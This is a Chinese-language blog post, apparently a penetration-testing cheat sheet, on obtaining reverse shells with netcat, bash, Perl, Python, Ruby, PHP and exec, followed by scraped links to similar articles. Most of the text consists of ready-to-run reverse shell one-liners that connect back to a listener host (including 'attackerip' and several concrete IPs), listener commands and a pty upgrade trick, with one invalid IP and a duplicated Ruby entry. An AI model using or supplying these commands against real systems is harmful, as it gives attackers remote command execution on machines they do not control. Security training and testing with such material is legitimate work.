各种环境下反弹shell
0x00 NC命令详解
在介绍如何反弹shell之前,先了解相关知识要点。
nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流
可运行在TCP或者UDP模式,添加参数 —u 则调整为udP,默认为tcp,详细参数如下
- -g<网关> 设置路由器跃程通信网关,最多可设置8个。
- -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
- -h 在线帮助。
- -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
- -l 使用监听模式,管控传入的资料。
- -n 直接使用IP地址,而不通过域名服务器。
- -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
- -p<通信端口> 设置本地主机使用的通信端口。
- -r 乱数指定本地与远端主机的通信端口。
- -s<来源地址> 设置本地主机送出数据包的IP地址。
- -u 使用UDP传输协议。
- -v 显示指令执行过程。
- -w<超时秒数> 设置等待连线的时间。
- -z 使用0输入/输出模式,只在扫描通信端口时使用。
$ nc -v 172.31.100.7 21
netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。
1、使用nc聊天
$nc -l 1567
netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。
$nc 172.31.100.7 1567
不管你在机器B上键入什么都会出现在机器A上。
实测好像并不可以…
2、nc进行文件传输
Server:
$nc -l 1567 < file.txt ``` Client: ``` $nc -n 172.31.100.7 1567 > file.txt
好像也不行…
不管这些还是直接来反弹shell吧
0x01 NC
1、正向反弹shell
服务器端
nc -lvvp 7777 -e /bin/bash
本地
nc 192.168.242.129 7777
即可获得服务器端的shell
2、反向反弹shell
服务端
nc -e /bin/bash 192.168.242.1 7777
本地
nc -lvvp 7777
不使用-e参数反弹
使用管道
服务端
mknod /tmp/backpipe p
/bin/sh 0/tmp/backpipe
攻击端
nc -lnvp 7777
mknod需要root用户,但是也可以通过mkfifo /tmp/backpipe也可以创建一个管道。
0x02 Bash
服务端:
bash -c 'sh -i &>/dev/tcp/210.28.30.887/53 0>&1'
或者
bash -i >& /dev/tcp/192.168.242.1/7777 0>&1
攻击端
nc -lvvp 7777
0x03 Perl
第一种方式(linux)
perl -e 'use Socket;$i="192.168.242.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
本地:nc -nvlp 7777
第二种方式(linux)
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.242.1:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
第三种方式(windwos)
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
0x04 Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.32.227",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
本地:nc -nvlp 7777
0x05 ruby
第一种方式
ruby -rsocket -e'f=TCPSocket.open("10.10.10.166",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)
一次性连接,连上就断,换上 msd 监听也是这样
第二种(linux)
ruby -rsocket -e'f=TCPSocket.open("10.10.10.166",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)
一次性连接,连上就断,换上 msf 监听也是这样
第三种方式(windwos)
ruby -rsocket -e 'c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
0x06 PHP
php -r '$sock=fsockopen("10.10.10.166",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
本地 nc -nvlp 4444
0x07 exec
第一种方式
exec 5<>/dev/tcp/10.10.10.166/4444
cat <&5 | while read line; do $line 2>&5 >&5; done
本地:nc -nvlp 4444
第二种方式:
0<&196;exec 196<>/dev/tcp/10.10.10.166/4444; sh <&196>&196 2>&196
本地 nc -nvlp 4444
0x08 原生的 shell 切换交互式 bash
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.10.166] from (UNKNOWN) [10.10.10.50] 39840
$ $ $
$ python -c 'import pty; pty.spawn("/bin/bash")'
kevin@ubuntu:~$
0x09 最后
个人觉得这几种应该就够用了,至于其他环境,再看具体情况吧,有一些环境服务器不一定有的
参考链接:
https://www.cnblogs.com/deen-/p/7237327.html
https://blog.csdn.net/Kevinhanser/article/details/88920278
各种环境下反弹shell的更多相关文章
- Linux下反弹shell的种种方式
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...
- linux下反弹shell
01 前言 CTF中一些命令执行的题目需要反弹shell,于是solo一波. 02 环境 win10 192.168.43.151 监听端 装有nc kali ...
- 渗透测试中Linux下反弹shell的认识
最近老是觉得自己白天工作累,晚上理应休息 堕落了几天才发觉自己真垃圾,加紧向前吧. 0x00 前言 在平时渗透还是工作中经常会遇到shell反弹的情况,网上一搜反弹shell都是一大堆,但是真正遇到反 ...
- Windows/Linux 下反弹shell
Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...
- Linux下反弹shell笔记
0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或者UDP模式,添加参数 —u 则 ...
- linux环境下编写shell脚本实现启动停止tomcat服务
第一步:以管理员的身份进入控制台,在指定目录下新建一个shell脚本,我这里命名为tomcat.sh 第二步:编写shell脚本 #!/bin/bash tomcat_home=/usr/tomcat ...
- Linux环境下使用shell编写CGI(httpd)
/var/www/cgi-bin/hello.sh #!/bin/bash echo "Content-type: text/html" echo "" ech ...
- linux 反弹shell
Linux下反弹shell笔记 0x00 NC命令详解 在介绍如何反弹shell之前,先了解相关知识要点. nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流 可运行在TCP或 ...
- Linux下几种反弹Shell方法的总结与理解
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在 ...
随机推荐
- Apache虚拟主机的搭建及相关问题解决
在开发的过程中,很多时候项目的部署都需要在本地进行虚拟服务器的模拟搭建,所以具体的配置流程为下,并且把自己遇到的问题跟大家分享. 1.Apache配置文件httpd.conf 找到 # Virtu ...
- Vue2.0源码学习(4) - 合并配置
合并配置 通过之前的源码学习,我们已经了解到了new Vue主要有两种场景,第一种就是在外部主动调用new Vue创建一个实例,第二个就是代码内部创建子组件的时候自行创建一个new Vue实例.但是无 ...
- MyBatis封装JDBC具体实现
关于xml等解析的工具基本均包含在org.apache.ibatis.builder包中,有包名可知基本使用建造者模式.这个包的主要功能两个: 1.解析XML配置文件和映射文件,xml子包中: 2.解 ...
- python对文件夹内文件去重
昨天无聊写了一个百度图片爬虫,测试了一下搜索"斗图".一下给我下了3000多个图片,关键是有一半以上重复的.what a fuck program ! 好吧,今天写一个文件去重功能 ...
- 【C# 程序集】把自己的程序集添加|卸载 到GAC 全局程序集缓存中
添加全局程序集缓存 Global Assembly Cache Tool (Gacutil.exe) 操作环境windows10+vs2019 cmd.exe位置在 C:\Windows\System ...
- 使用http-server 快速的开启一个静态服务器
在本地安装好了nodejs后我们可以使用一个命令快速开启一个服务器: 命令界面进入到根目录(存放静态网页的文件夹) //方式一 npx http-server //默认 8080端口 //方式二 np ...
- JZ-042-和为 S 的两个数字
和为 S 的两个数字 题目描述 输入一个递增排序的数组和一个数字S,在数组中查找两个数,使得他们的和正好是S,如果有多对数字的和等于S,输出两个数的乘积最小的. 返回值描述: 对应每个测试案例,输出两 ...
- 修饰符-final
Java是由C/C++泛生的,其也保留了C/C++的部分特性,如关键字.在C/C++中,关键字有着特殊的含义. final修饰符 在编程中,一般会存在一些变量或方法,程序员不让其数据"发生改 ...
- Jmeter压测场景及结果分析
1)压力测试分两种场景: 一种是单场景,压一个接口的: 第二种是混合场景,多个有关联的接口. 压测时间,一般场景都运行10-15分钟.如果是疲劳测试,可以压一天或一周,根据实际情况来定. 2)压测设置 ...
- IDEA在同一工作空间导入多个项目
在IDEA中导入项目的基本操作是: File--Open--打开工作空间选择要导入的项目 一个项目导入到工作空间啦 但是当你重复这个操作想在这个工作空间继续导入其他模块的时候,就会出现以下问题 不不管 ...